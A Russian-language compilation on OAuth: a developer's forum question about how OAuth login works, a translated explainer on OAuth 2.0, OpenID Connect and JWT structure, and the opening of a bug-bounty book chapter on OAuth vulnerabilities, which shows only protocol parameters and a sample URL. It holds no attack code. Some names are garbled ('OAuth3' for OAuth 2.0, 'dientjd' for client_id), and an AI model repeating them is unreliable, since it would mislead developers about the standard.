Весь список терминов →

android — Принцип работы Oauth3

Здравствуйте, сразу прошу извинить если вопрос глупый.
Собственно сейчас разбираюсь с возможными вариантами авторизации с помощью REST API.
Сейчас все социальные сети используют авторизацию OAuth/OAuth3.
Прочитав немало статьей, все равно не очень хорошо отложилось в голове и есть много сомнений, что правильно понимаю.

Первое что это главные игроки, я не буду называть как в документации сказано, назову как понимаю.

1. Пользователь. Это владелец аккаунта который имеет доступ к каким-то ресурсам. Например Facebook/Twitter.

2. Сервер авторизации OAuth/OAuth3. Это непосредственно сервер который производит выдачу разрешений на доступ к ресурсам(токены, «секреты»). Если взять пример из реальной жизни, то oauth.vkontakte.ru. Сервер расположен по такому домену(поддомен) сервера социальной сети Вконтакте.

3. Сервер ресурсов. Это собственно сервер на котором хранятся данные для доступа к которым все это (Oauth авторизация) была придумана. Это могут быть различные данные, например фотки, музыка, записи из социальной сети.

4. Приложение, может не всегда быть всем общепринятым приложением (программой) это может быть, а обычно так часто и есть, сервер. С помощью этого приложения пользователь хочет без пароля получить какие-то данные которыми он владеет. Например возьмем пример вконтакте или твитер. Чтобы использовать их API нужно зарегистрировать приложение у них на сайте ( в разделе разработчик), это подразумевает получения каких-то индентификаторов/ключей … строк текста, с помощью которых можно запрашивать у пользователя разрешение на доступ к данным. Например, чтобы делать авторизацию на сайте через Вконтакте, нужно зарегистрировать приложение, получить ключи/токен, и в тот момент когда пользователь хочет выполнить вход через Вконтакте пересылать этот ключ на сервер. Или же приложение для мобильного устройства через которое пользователь будет производить вход и доступ к данным.

Теперь, как происходит авторизация, в моем понимании.

1. Допустим пользователь Х хочет зайти на сайт S через социальную сеть вконтакте. Разработчик сайта заранее предусмотрел возможность авторизации через социальные сети и зарегистрировал свой сайт как приложение вконтакте, получил ключик/токен.

2. Пользователь, клацает на красивую кнопочку «Вход через Вконтакте». Что в этот момент происходит. Сайт(сервер) берет ранее полученный ключик, прикрепляет его к запрос и идет по ссылке, oauth.vk.com. (Передавая свой ключ в GET параметрах или POST не столь важно). Сервер oauth.vk.com смотрит, так такое приложение есть в базе, значит можно доверять.

3. Теперь интересный момент, если пользователь был ранее авторизирован Вконтакте,то ему показывают всплывающее окошко, «Вы разрешаете приложению…..». А вот если пользователь ранее не производил вход Вконтакте, то ему сначала предлагают ввести свой пароль и логин, а уже затем спросят разрешает ли он приложению……

4. После этого если пользователь нажал «Да», то сервер oauth генерирует токен доступа, который является своеобразным временным паролем. Записывает в базу сам токен и например дату истечения. Возвращает этот токен серверу (сайт с которого пользователь хотел войти ВК) по адресу указанному в Callback, сервер смотрит, забирает токен записывает себе в базу данных рядом с именем пользователя. Если же нет, получает отказ в каком-то виде.

5. Получив токен «приложение» имеет доступ к данным пользователя ( если нету ограничений на стороне сервера ресурсов). По сути если написать таким образом вредоносную программу, то можно после получения токен слить или удалить всю информацию пользователя. Имея данный токен. Мы можем использовать его в нескольких целях : использую как подтверждение того, что пользователь прошел авторизацию и теперь давать ему доступ к данным на нашем сайте (сайт с которого пользователь нажимал кнопку «Войти вконтакте») постоянно проверяя токен при доступе к приватным ресурсам на нашем сайте. То есть тот же пароль или сессия на стороне сервера (кукисы …). Или же с помощью нашего сайта делать что-то на странице пользователя вконтакте, загружать фото, делать посты……

Теперь вопросы которые возникли у меня, кроме главного (правильно ли я вообще понимаю).

1. Если перехватить токен, то можно использовать его как тот же пароль. В чем тогда преимущество? Можно ограничить ресурсы разными токенами? Он временный и через некоторое время уже будет недействительным, но если злоумышленник успеет сделать что-то раньше ?

2. То есть передавать токен как и пароль нужно в пост запросе по HTTPS протоколу, чтобы защищать его как тот же пароль?

3. Если я использую токен от Вконтакте как авторизацию на своем сайте, то каким образом поучать новый токен по истечению срока действия старого, заново запрашивать » Вы разрешаете приложению …. » через oauth сервер. Такого не встречал на сайтах, обычно один раз разрешил и все.

4. Данные способ авторизации удобен когда у пользователя есть какой-то глобальный аккаунт на доверенном сервере.Если же нужна авторизация на своем сервере только и без сторонних oauth серверов, следует использовать похожий принцип просто, при первой авторизации один раз передавать логин и пароль по HTTPS и получать токен уже непосредственно у сервера. Допустим интернет магазин и клиент Android.Первый раз логин и пароль, в ответ прилетает токен и доступ к API производить уже передавая этот токен.

5. Регистрация приложения является дополнительным уровнем безопасности, то есть чтобы не все могли попросить пользователя разрешить им доступ и получить токен.

6. Если приложение допускает авторизацию, как прямо на самом сервер (интернет магазин) так и через OAuth (вконтакте), то кто должен контроллировать время жизни токена во втором случае. В первом случае мы работаем непосредственно с нашими сервером(интернет магазин), а во втором случае мы передаем и используем токен полученный от внешнего сервера OAuth (vkontakte) каким образом нам нужно обновлять токен, просить об этом у oauth.vk.com или нам в данном Вконтакте больше не нужен, после выдачи первого токена и теперь сами на стороне сервера интернет магазина генеируем новые токены ?

Всем спасибо, кто дочитал это.

Скажите, правильно ли я вообще понимаю принцип работы? Если нет, то скажите пожалуйста где и что не так.

Спасибо всем огромное

Авторизация и аутентификация для всех

Оригинальная статья: Kim Maida — Authorization and Authentication For Everyone

Аутентификация и авторизация необходимы для многих приложений. Допустим, вы разработали приложение и внедрили в него аутентификацию и авторизацию — использовали для этого стороннюю библиотеку аутентификации или платформу идентификации. Выполнив свою работу, как обычно вы не стали разбираться, что происходит за кулисами, или почему что-то происходит определенным образом. Но если вы хотите получить общее представление о том, что происходит на самом при использовании стандартов OAuth 2.0 и OpenID Connect, читайте дальше!

---

Аутентификация — это сложно. Почему так? Стандарты Auth хорошо определены, но в них сложно разобраться. И это нормально! Мы собираемся пройти через это максимально доступным способом. Мы рассмотрим концепции идентификации шаг за шагом, опираясь на наши знания по мере продвижения вперед. К тому времени, когда мы закончим, вы должны иметь фундамент и знать, куда нужно обратиться если вам нужно будет больше информации.

---

Введение

Когда я говорил семье или друзьям, что я «работаю в identity», они часто предполагали, что это означает, что я работал в правительстве, в организации выдающей водительские права, или что я помогал людям разрешать мошенничество с кредитными картами.

Однако ни то, ни другое не было правдой. Ранее я работал в компании Auth0,, которая управляет цифровой идентификацией. (Сейчас я являюсь участником программы Auth0 Ambassadors и являюсь экспертом Google Developer по SPPI: Security, Privacy, Payments, and Identity — безопасность, конфиденциальность, платежи и идентификация.)

Цифровая идентификация

Цифровая идентификация это набор атрибутов, которые определяют отдельного пользователя в контексте функции, предоставляемой конкретным приложением.

Что это значит?

Скажем, вы управляете компанией по продаже обуви онлайн. Цифровой идентификацией пользователей вашего приложения может быть номер их кредитной карты, адрес доставки и история покупок. Их цифровая идентификация зависит от вашего приложения.

Это приводит нас к …

Аутентификация

В широком смысле, аутентификация относится к процессу проверки того, что пользователь является тем, кем он себя заявляет.

Как только система сможет установить это, мы приходим к …

Авторизация

Авторизация касается предоставления или отказа в правах доступа к ресурсам.

Стандарты

Вы можете вспомнить, что я упомянул, что аутентификация основывается на четко определенных стандартах. Но откуда эти стандарты берутся?

Есть много разных стандартов и организаций, которые управляют работой Интернета. Два органа, которые представляют для нас особый интерес в контексте аутентификации и авторизации, — это Инженерная рабочая группа по Интернету (Internet Engineering Task Force — IETF) и Фонд OpenID (OpenID Foundation — OIDF).

IETF (Internet Engineering Task Force)

IETF — это большое открытое международное сообщество сетевых инженеров, операторов, поставщиков и исследователей, которые занимаются развитием интернет-архитектуры и бесперебойной работой интернета.

OIDF (OpenID Foundation)

OIDF — это некоммерческая международная организация людей и компаний, которые стремятся обеспечить, продвигать и защищать технологии OpenID.

Теперь, когда нам известны спецификации и кто их пишет, давайте вернемся к авторизации и поговорим о:

OAuth 2.0

OAuth 2.0 является одной из наиболее часто упоминаемых спецификаций, когда речь идет о сети, а также часто неправильно представленной или неправильно понятой.

OAuth не является спецификацией аутентификации. OAuth имеет дело с делегированной авторизацией. Помните, что аутентификация — это проверка личности пользователя. Авторизация касается предоставления или отказа в доступе к ресурсам. OAuth 2.0 предоставляет доступ к приложениям от имени пользователей.

Как было до OAuth

Чтобы понять цель OAuth, нам нужно вернуться назад во времени. OAuth 1.0 был создан в декабре 2007 года. До этого, если нам требовался доступ к сторонним ресурсам, это выглядело так:

Допустим, вы использовали приложение под названием HireMe123. HireMe123 хочет настроить событие календаря (например, встречу на собеседование) от вашего имени (пользователя). HireMe123 не имеет собственного календаря; поэтому нужно использовать другой сервис под названием MyCalApp для добавления событий.

После того, как вы вошли в HireMe123, HireMe123 запросит у вас ваши учетные данные для входа в MyCalApp. Вы должны ввести свое имя пользователя и пароль на сайте HireMe123.

Затем HireMe123 используя ваш логин получить доступ к API MyCalApp, и затем сможет создавать события календаря с использованием ваших учетных данных.

Совместное использование учетных данных — это плохо!

Этот подход основывался на совместном использовании личных учетных данных пользователя из одного приложения с совершенно другим приложением, и это не очень хорошо.

Так как, HireMe123 поставил на карту защиты вашей учетной записи MyCalApp гораздо меньше. Если HireMe123 не защитит ваши учетные данные MyCalApp надлежащим образом, и они в конечном итоге будут украдены или взломаны, кто-то сможет написать несколько неприятных статей в блоге, но HireMe123 как бы останется в стороне.

HireMe123 также получает слишком большой доступ к MyCalApp от вашего имени. HireMe123 получает все те же привелегии, что и вы, потому что он использовал ваши учетные данные для получения этого доступа. Это означает, что HireMe123 может читать все ваши события календаря, редактировать их, изменять настройки и т. д.

Появление OAuth

Все эти недостатки приводит нас к OAuth.

OAuth 2.0 — это открытый стандарт для выполнения делегированной авторизации. Это спецификация, которая говорит нам, как предоставить сторонним пользователям доступ к API без предоставления учетных данных.

Используя OAuth, пользователь теперь может делегировать HireMe123 для вызова MyCalApp от имени пользователя. MyCalApp может ограничить доступ к своему API при вызове сторонними клиентами без риска совместного использования информации для входа или предоставления слишком большого доступа. Это делается с помощью:

Сервер авторизации

Сервер авторизации — это набор конечных точек (методов API) для взаимодействия с пользователем и выдачи токенов. Как это работает?

Давайте вернемся к ситуации с HireMe123 и MyCalApp, только теперь у нас есть OAuth 2.0:

MyCalApp теперь имеет сервер авторизации. Предположим, что HireMe123 уже зарегистрирован как известный клиент в MyCalApp, что означает, что сервер авторизации MyCalApp распознает HireMe123 как объект, который может запрашивать доступ к своему API.

Предположим также, что вы уже вошли в систему с HireMe123 через любую аутентификацию, которую HireMe123 настроил для себя. HireMe123 теперь хочет создавать события от вашего имени.

HireMe123 отправляет запрос авторизации на сервер авторизации MyCalApp. В ответ сервер авторизации MyCalApp предлагает вам — пользователю — войти в систему с помощью MyCalApp (если вы еще не вошли в систему). Вы аутентифицируетесь с MyCalApp.

Затем сервер авторизации MyCalApp запросит у вас согласие разрешить HireMe123 получать доступ к API MyCalApp от вашего имени. В браузере откроется приглашение, в котором будет запрошено ваше согласие на добавление в календарь событий HireMe123 (но не более того).

Если вы скажете «да» и дадите свое согласие, то сервер авторизации MyCalApp отправит код авторизации в HireMe123. Это позволяет HireMe123 знать, что пользователь MyCalApp (вы) действительно согласился разрешить HireMe123 добавлять события с использованием пользовательского (вашего) MyCalApp.

MyCalApp затем выдаст токен доступа для HireMe123. HireMe123 может использовать этот токен доступа для вызова MyCalApp API в рамках разрешенных вами разрешений и создания событий для вас с помощью MyCalApp API.

Ничего плохо больше не происходит! Пароль пользователя знает только MyCalApp. HireMe123 не запрашивает учетные данные пользователя. Проблемы с совместным использованием учетных данных и слишком большим доступом больше не являются проблемой.

А как насчет аутентификации?

На данный момент, я надеюсь, стало ясно, что OAuth предназначен для делегированного доступа. Это не распространяется на аутентификацию. В любой момент, когда аутентификация включалась в процессы, которые мы рассмотрели выше, вход в систему осуществлялся любым процессом входа в систему, который HireMe123 или MyCalApp реализовали по своему усмотрению. OAuth 2.0 не прописывал, как это должно быть сделано: он только покрывал авторизацию доступа сторонних API.

Так почему же аутентификация и OAuth так часто упоминаются вместе друг с другом?

Проблема входа в систему

То, что происходит после того, как OAuth 2.0 установил способ доступа к сторонним API, заключается в том, что приложение также требуется регистрировать пользователей у себя. Используя наш пример: HireMe123 нужно, чтобы пользователь MyCalApp мог залогиниться, используя свою учетную запись MyCalApp, даже несмотря на то, что он не был зарегистрирован в HireMe123.

Но, как мы упоминали выше, OAuth 2.0 предназначен только для делегированного доступа. Это не протокол аутентификации. Но это не помешало людям попытаться использовать его и для аутентификации, и это представляет проблему.

Проблемы с использованием токенов доступа для аутентификации

Если HireMe123 предполагает успешный вызов API MyCalApp с токеном доступа, достаточным что бы пользователь считался аутентифицированным, у нас возникают проблемы, поскольку у нас нет способа проверить, был ли выдан токен доступа правильному пользователю.

Например:

• Кто-то мог украсть токен доступа у другого пользователя
• Маркер доступа мог быть получен от другого клиента (не HireMe123) и введен в HireMe123

Это называется запутанной проблемой делегирования. HireMe123 не знает, откуда взялся этот токен и кому он был выдан. Если мы помним: аутентификация — это проверка того, что пользователь — это тот, кем он себя заявляет. HireMe123 не может знать это из-за того, что он может использовать этот токен доступа для доступа к API.

Как уже упоминалось, это не остановило людей от неправильного использования токенов доступа и OAuth 2.0 для аутентификации. Быстро стало очевидно, что формализация аутентификации поверх OAuth 2.0 была необходима, чтобы разрешить входы в приложения сторонних разработчиков, сохраняя безопасность приложений и их пользователей.

OpenID Connect

Это подводит нас к спецификации под названием OpenID Connect, или OIDC. OIDC — это спецификация OAuth 2.0, в которой говорится, как аутентифицировать пользователей. OpenID Foundation (OIDF) является руководителем стандартов OIDC.

OIDC — это уровень идентификации для аутентификации пользователей на сервере авторизации. Помните, что сервер авторизации выдает токены. Токены представляют собой закодированные фрагменты данных для передачи информации между сторонами (такими как сервер авторизации, приложение или API ресурса). В случае OIDC и аутентификации сервер авторизации выдает токены ID.

ID

Токены

Идентификационные токены предоставляют информацию о событии аутентификации и идентифицируют пользователя. Идентификационные токены предназначены для клиента. Это фиксированный формат, который клиент может анализировать и проверять, чтобы извлечь идентификационную информацию из токена и тем самым аутентифицировать пользователя.

OIDC объявляет фиксированный формат для токенов ID, которым является JWT.

JSON Web Token (JWT)

JSON Web Tokens, или JWT (иногда произносится как «jot»), состоит из трех URL-безопасных сегментов строки, соединенных точками. Сегмент заголовка, сегмента полезной нагрузки и крипто сегмента.

Сегмент заголовка

Первый сегмент является сегментом заголовка (header segment). Он может выглядеть примерно так:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9

Сегмент заголовка — это объект JSON, содержащий в закодирован виде алгоритм и тип токена. Он закодирован в base64Url (байтовые данные представлены в виде текста, который является URL-адресом и безопасным для имени файла).

Декодированный заголовок выглядит примерно так:

{
  "alg": "RS256",
  "typ": "JWT"
}

Сегмент полезной нагрузки

Второй сегмент — это сегмент полезной нагрузки (payload segment). Он может выглядеть так:

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0

Это объект JSON, содержащий фрагмент данных называемый claim, который содержат информацию о пользователе и событии аутентификации. Например:

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1516239022
}

Оно также кодируется в base64Url.

Крипто сегмент

Последний сегмент — крипто сегмент (crypto segment) или подпись (signature). JWT подписаны, поэтому они не могут быть изменены в процессе использования. Когда сервер авторизации выдает токен, он подписывает его с помощью ключа.

Когда клиент получает идентификационный токен, он также проверяет подпись с помощью ключа. (Если использовался алгоритм асимметричной подписи, для подписи и проверки используются разные ключи; в этом случае только сервер авторизации может подписывать токены.)

Claim

Claim можно перевести как требование, утверждение или как заявление.

Теперь, когда мы знаем об анатомии JWT, давайте поговорим подробнее об claim, этом фрагменте данных из сегмента полезной нагрузки. Согласно его названию, токены ID предоставляют идентификационную информацию, которая присутствует в формуле claim.

Аутентификационный Claim

Начнем с информации о событии аутентификации. Вот несколько примеров:

{
   "iss": "https://{you}.authz-server.com",
    "aud": "RxHBtq2HL6biPljKRLNByqehlKhN1nCx",
    "exp": 1570019636365,
   "iat": 1570016110289,
   "nonce": "3yAjXLPq8EPP0S",
  ...
}

Некоторые строки аутентификации в токене ID включают:

• iss (issuer — эмитент): издатель JWT, например, сервер авторизации
• aud (audience — аудитория): предполагаемый получатель JWT; для идентификаторов токенов это должен быть идентификатор клиента приложения, получающего токен
• exp (expiration time — время истечения): время истечения; идентификационный токен не должен быть принят после этого времени
• iat (issued at time — время выпуска): время, когда выдан идентификационный токен

Одноразовый номер nonce привязывает запрос авторизации клиента к полученному токену. Одноразовый номер — это криптографически случайная строка, которую клиент создает и отправляет с запросом авторизации. Затем сервер авторизации помещает одноразовый номер в токен, который отправляется обратно в приложение. Приложение проверяет, совпадает ли одноразовый номер в токене с отправленным с запросом авторизации. Таким образом, приложение может проверить, что токен пришел из того места, откуда он запросил токен.

Идентификационные данные (Identity Claim)

Claim также включают информацию о конечном пользователе. Вот несколько примеров таких данных:

{
  "sub": "google-oauth3|102582972157289381734",
  "name": "Kim Maida",
  "picture": "https://gravatar[...]",
  "twitter": "https://twitter.com/KimMaida",
  "email": "[email protected]",
  ...
}

Некоторые из стандартных строк профиля в токене ID включают:

• sub (subject): уникальный идентификатор пользователя; строка обязательна
• email
• email_verified
• birthdate
• etc.

После того как мы рассмотрели спецификации OAuth 2.0 и OpenID Connect пришло посмотреть, как применить наши знания в области идентификации.

Аутентификация с помощью ID токенов

Давайте посмотрим на OIDC аутентификацию на практике.

Обратите внимание, что это упрощенная схема. Есть несколько разных потоков в зависимости от архитектуры вашего приложения.

Наши объекты здесь: браузер, приложение, запущенное в браузере, и сервер авторизации. Когда пользователь хочет войти в систему, приложение отправляет запрос авторизации на сервер авторизации. Учетные данные пользователя проверяются сервером авторизации, и если все хорошо, сервер авторизации выдает идентификационный токен приложению.

Затем клиентское приложение декодирует маркер идентификатора (который является JWT) и проверяет его. Это включает в себя проверку подписи, и мы также должны проверить данные claim. Вот некоторые примеры проверок:

• issuer (iss): был ли этот токен выдан ожидаемым сервером авторизации?
• audience (aud): наше приложение — целевой получатель этого токена?
• expiration (exp): этот токен в течение допустимого периода времени для использования?
• nonce (nonce): мы можем связать этот токен с запросом на авторизацию, сделанным нашим приложением?

После того как мы установили подлинность токена ID, пользователь проходит аутентификацию. Теперь у нас есть доступ к identity claims и мы знаем, кто этот пользователь.

Теперь пользователь аутентифицирован. Пришло время взаимодействовать с API.

Доступ к API с помощью токенов доступа

Мы немного поговорили о токенах доступа ранее, еще когда мы смотрели, как делегированный доступ работает с OAuth 2.0 и серверами авторизации. Давайте посмотрим на некоторые детали того, как это работает, возвращаясь к нашему сценарию с HireMe123 и MyCalApp.

Токены доступа

Токены доступа (Access Token) используются для предоставления доступа к ресурсам. С токеном доступа, выданным сервером авторизации MyCalApp, HireMe123 может получить доступ к API MyCalApp.

В отличие от токенов ID, которые OIDC объявляет как веб-токены JSON, токены доступа не имеют определенного формата. Они не должны быть (и не обязательно) JWT. Однако во многих решениях для идентификации используются JWT как маркеры доступа, поскольку есть готовый формат и он обеспечивает хорошую проверку.

В итоге HireMe123 получает два токена от сервера авторизации MyCalApp: токен идентификации (Token ID) (если проверка пользователя прошла успешна) и токен доступа (Access Token) для доступа к ресурсам конечному пользователю.

Токены доступа прозрачны для клиента

Токены доступа предназначены для API ресурса, и важно, чтобы они были прозрачны для клиента. Зачем?

Токены доступа могут измениться в любое время. У них должно быть короткое время истечения, поэтому пользователь может часто получать новые. Они также могут быть переизданы для доступа к различным API или использования разных разрешений. Клиентское приложение никогда не должно содержать код, который опирается на содержимое токена доступа. Код, который делает это, был бы хрупким и почти гарантированно сломался.

Доступ к ресурсным API

Допустим, мы хотим использовать токен доступа для вызова API из одностраничного приложения. Как это выглядит?

Мы рассмотрели аутентификацию выше, поэтому давайте предположим, что пользователь вошел в наше приложение JS в браузере. Приложение отправляет запрос авторизации на сервер авторизации, запрашивая токен доступа для вызова API.

Затем, когда наше приложение хочет взаимодействовать с API, мы присоединяем токен доступа к заголовку запроса, например, так:

# HTTP заголовок запроса
Authorization: 'Bearer eyj[...]'

Затем авторизованный запрос отправляется в API, который проверяет токен с помощью промежуточного программного обеспечения middleware. Если все проверено, то API возвращает данные (например, JSON) в приложение, запущенное в браузере.

Это замечательно, но есть кое-что, что может произойти с вами прямо сейчас. Ранее мы заявляли, что OAuth решает проблемы с излишним доступом. Как это решается здесь?

Делегирование со Scopes

Как API узнает, какой уровень доступа он должен предоставить приложению, запрашивающему использование его API? Мы делаем это с помощью scopes.

Scopes (Области действия) «ограничивают возможности приложения от имени пользователя». Они не могут предоставлять привилегии, которых у пользователя еще нет. Например, если у пользователя MyCalApp нет разрешения на создание новых корпоративных учетных записей MyCalApp, scopes, предоставленные HireMe123, также никогда не позволят пользователю создавать новые корпоративные учетные записи.

Scopes делегируют управление доступом к API или ресурсу. Затем API отвечает за объединение входящих scopes с фактическими правами пользователя для принятия соответствующих решений по управлению доступом.

Давайте рассмотрим это на нашем примере.

Я использую приложение HireMe123, и HireMe123 хочет получить доступ к стороннему API MyCalApp для создания событий от моего имени. HireMe123 уже запросил токен доступа для MyCalApp с сервера авторизации MyCalApp. Этот токен содержит некоторую важную информацию, такую как:

• sub: (пользовательский ID на MyCalApp )
• aud: MyCalAppAPI (то есть этот токен предназначен только для API MyCalApp)
• scope: write: events (scope — область действия, в которой говорится, что HireMe123 имеет право использовать API для записи событий в мой календарь)

HireMe123 отправляет запрос в API MyCalApp с токеном доступа в своем заголовке авторизации. Когда MyCalApp API получает этот запрос, он может увидеть, что токен содержит scope write: events.

Но MyCalApp размещает учетные записи календаря для сотен тысяч пользователей. В дополнение к рассмотрению scope в токене, промежуточному программному обеспечению (middleware) API MyCalApp необходимо проверить sub идентификатор пользователя, чтобы убедиться, что этот запрос от HireMe123 может только использовать мои привилегии для создания событий с моей учетной записью MyCalApp.

В контексте делегированной авторизации scopes (области действия) показывают, что приложение может делать от имени пользователя. Они являются подмножеством общих возможностей пользователя.

Предоставление согласия

Помните, когда сервер авторизации спрашивал пользователя HireMe123 о его согласии разрешить HireMe123 использовать привилегии пользователя для доступа к MyCalApp?

Этот диалог согласия может выглядеть примерно так:

HireMe123 может запросить множество различных областей, например:

• write:events
• read:events
• read:settings
• write:settings
• …etc.

В общем, мы должны избегать увеличения количества областей с правами пользователя. Тем не менее, можно добавить разные области для отдельных пользователей, если ваш сервер авторизации обеспечивает управление доступом на основе ролей (Role-Based Access Control — RBAC).

С RBAC вы можете настроить роли пользователей с определенными разрешениями на вашем сервере авторизации. Затем, когда сервер авторизации выдает токены доступа, он может включать роли определенных пользователей в свои области.

---

Ресурсы и что дальше?

Мы рассмотрели много материала, и даже не приблизились к рассмотрению всему что есть в области аутентификации и авторизации. Я надеюсь, что это была полезная статья по идентификации, авторизации и аутентификации.

В настоящее время я работаю над несколькими дополнительными постами в блоге, в которых более подробно рассматриваются веб-токены JSON, а также аутентификация и авторизация для приложений JavaScript.

Если вы хотите узнать больше, гораздо больше по этим темам, вот несколько полезных ресурсов для вас:

Выучить больше

Серия видеороликов Learn Identity в документах Auth0 — это лекционная часть нового учебного курса по найму для инженеров в Auth0, представленного главным архитектором Витторио Берточчи. Если вы хотите лично узнать, как это делается в Auth0, она абсолютно бесплатна и доступна для всех.

Спецификации OAuth 2.0 и OpenID Connect являются сложными, но как только вы ознакомитесь с терминологией и получите базовые знания об идентификации, они будут полезны, информативны и станут намного более удобочитаемыми. Почитать их можно здесь: The OAuth 2.0 Authorization Framework и OpenID Connect Specifications..

JWT.io — это ресурс о JSON Web Token, который предоставляет инструмент отладчика и каталог библиотек подписи/проверки JWT для различных технологий.

OpenID Connect Playground — это отладчик, который позволяет разработчикам шаг за шагом исследовать и тестировать вызовы и ответы OIDC.

Спасибо!

Если вы хотите пообщаться, я доступен в Твиттере на @KimMaida, и я также выступаю на конференциях и мероприятиях. Я надеюсь увидеть вас когда-нибудь, и большое спасибо за чтение!

Была ли вам полезна эта статья?

[7 / 4.7]


Уязвимости в OAuth. Глава из книги «Ловушка для багов. Полевое руководство по веб-хакингу»

OAuth — это откры­тый про­токол, который упро­щает и стан­дарти­зиру­ет безопас­ную авто­риза­цию в вебе, на мобиль­ных устрой­ствах и в нас­толь­ных при­ложе­ниях. Он поз­воля­ет регис­три­ровать­ся без ука­зания име­ни поль­зовате­ля и пароля. На сай­тах он час­то име­ет вид кноп­ки для вхо­да с помощью Facebook, Google, LinkedIn, Twitter и т. д. Уяз­вимос­ти в OAuth свя­заны с кон­фигура­цией при­ложе­ния и воз­ника­ют в резуль­тате оши­бок в реали­зации. Учи­тывая их пос­ледс­твия и рас­простра­нен­ность, они зас­лужива­ют обсужде­ния.

Нес­мотря на мно­жес­тво раз­новид­ностей, мы сде­лаем акцент на слу­чаях, ког­да уяз­вимость в OAuth поз­воля­ет похитить аутен­тифика­цион­ные токены и получить дос­туп к информа­ции о жер­тве на сер­вере ресур­са.

На момент написа­ния у OAuth есть две вер­сии, 1.0a и 2.0, которые несов­мести­мы друг с дру­гом. По OAuth написа­ны целые кни­ги, но эта гла­ва фокуси­рует­ся на OAuth 2.0 и базовом рабочем про­цес­се OAuth.

О книге

Пе­ред тобой — 17-я гла­ва из кни­ги «Ловуш­ка для багов. Полевое руководс­тво по веб‑хакин­гу», которую мы пуб­лику­ем с раз­решения изда­тель­ства «Питер».

Эта кни­га поможет в совер­шенс­тво­вании скил­лов работы с вебом и рас­ска­зыва­ет о методо­логии этич­ного веб‑хакин­га. Чита­ется она отлично, слов­но детек­тивный рас­сказ. Каж­дая опи­сыва­емая уяз­вимость име­ет парамет­ры: слож­ность, ата­кован­ный URL, URL стра­ницы, где хакер опи­сал про­веден­ную ата­ку, дата подачи отче­та и сум­ма вып­лачен­ного хакеру воз­награж­дения. Сре­ди про­чего есть опи­сание удач­ного взло­ма PornHub.com.

Ес­ли бы здесь было толь­ко опи­сание совер­шенных атак, то кни­га бы не име­ла прак­тичес­кого при­мене­ния. Поэто­му автор ана­лизи­рует каж­дое дей­ствие взлом­щика, выпол­ненное им для дос­тижения резуль­тата. Читате­лю не сос­тавит тру­да пов­торить опи­сан­ные опе­рации.

Для самых зеленых хакеров в кни­ге есть гла­ва, в которой целиком опи­сыва­ется опе­рация про­веде­ния взло­ма веб‑ресур­са, разоб­ран каж­дый этап, сре­ди которых: раз­ведка перед ата­кой, сос­тавле­ние спис­ка под­доменов, ска­ниро­вание пор­тов, обна­руже­ние содер­жимого, опре­деле­ние сте­ка тех­нологий и про­чее.

А на слад­кое при­пасе­ны два при­ложе­ния. В пер­вом при­веде­но опи­сание исполь­зуемых хакером при­ложе­ний, а во вто­ром дают­ся ссыл­ки на допол­нитель­ные видео и тек­сто­вые матери­алы по взло­му сай­тов.

 

Принцип работы OAuth

В про­цес­се аутен­тифика­ции на осно­ве OAuth учас­тву­ют три сто­роны:

• Вла­делец ресур­са — поль­зователь, пыта­ющий­ся вой­ти через OAuth.
• Сер­вер ресур­са — сто­рон­ний API-интерфейс, который аутен­тифици­рует вла­дель­ца ресур­са. Эту роль может играть любой сайт (Facebook, Google, LinkedIn и т. д.).
• Кли­ент — сто­рон­нее при­ложе­ние, которое посеща­ет/исполь­зует вла­делец ресур­са. Име­ет дос­туп к дан­ным сер­вера ресур­са.

При попыт­ке аутен­тифика­ции с помощью OAuth кли­ент зап­рашива­ет дос­туп к вашей информа­ции у сер­вера ресур­са (в дан­ном слу­чае у вас). Его может инте­ресо­вать пол­ный набор ваших дан­ных или их часть, огра­ничен­ная областя­ми видимос­ти. Нап­ример, поль­зовате­ли в Facebook име­ют такие области видимос­ти, как email, public_profile, user_friends и т. д. Если выдать кли­енту дос­туп толь­ко к email, он не смо­жет получить содер­жимое вашего про­филя, спи­сок дру­зей и т. п.

Про­цесс пер­вого вхо­да в кли­ент с исполь­зовани­ем Facebook в качес­тве демонс­тра­цион­ного сер­вера ресур­са начина­ется, ког­да вы откры­ваете стра­ницу кли­ента и нажима­ете кноп­ку Войти через Facebook. Кли­ент выпол­няет GET-зап­рос к конеч­ной точ­ке аутен­тифика­ции, которая час­то име­ет такой путь: https://www.<example>.com/oauth/facebook/. Shopify, к при­меру, исполь­зует для OAuth стра­ницу Google с URL-адре­сом https://<STORE>.myshopify.com/admin/auth/login?google_apps=1/.

В ответ на этот HTTP-зап­рос кли­ент перенап­равля­ет вас к сер­веру ресур­са, исполь­зуя код 302. URL-адрес стра­ницы перенап­равле­ния содер­жит сле­дующие парамет­ры, учас­тву­ющие в про­цес­се аутен­тифика­ции:

• client_id иден­тифици­рует кли­ент на сер­вере ресур­са уни­каль­ным зна­чени­ем.
• redirect_uri опре­деля­ет, куда сер­вер ресур­са дол­жен нап­равить бра­узер вла­дель­ца пос­ле его аутен­тифика­ции.
• response_type опре­деля­ет тип воз­вра­щаемо­го отве­та. Обыч­но это токен или код. В слу­чае воз­вра­щения токена поль­зователь сра­зу же получа­ет дос­туп к информа­ции на сер­вере ресур­са. Если вы получи­ли код, его нуж­но обме­нять на токен в ходе допол­нитель­ного эта­па OAuth.
• Па­раметр scope опре­деля­ет пра­ва дос­тупа, которые кли­ент зап­рашива­ет у сер­вера ресур­са. В ходе пер­вого зап­роса авто­риза­ции вла­дель­цу ресур­са дол­жно быть показа­но диало­говое окно, в котором он может прос­мотреть зап­рашива­емые области видимос­ти и дать свое сог­ласие.
• state — это слу­чай­ное зна­чение, пре­дот­вра­щающее под­делку меж­сай­товых зап­росов. Оно дол­жно при­сутс­тво­вать в HTTP-зап­росе к сер­веру ресур­са. Это зна­чение воз­вра­щает­ся кли­енту, что­бы зло­умыш­ленник не смог ини­цииро­вать про­цесс аутен­тифика­ции от име­ни дру­гого поль­зовате­ля.

URL-адрес, ини­циирующий про­цеду­ру OAuth с помощью Facebook, выг­лядит при­мер­но так:

https://www.facebook.com/v2.0/dialog/oauth?dientjd=123&redirect_uri=https%3A%2F%2Fwww.<example>.com%2Foauth%2FcaNback&response_type=token&scope=email&state=XYZ

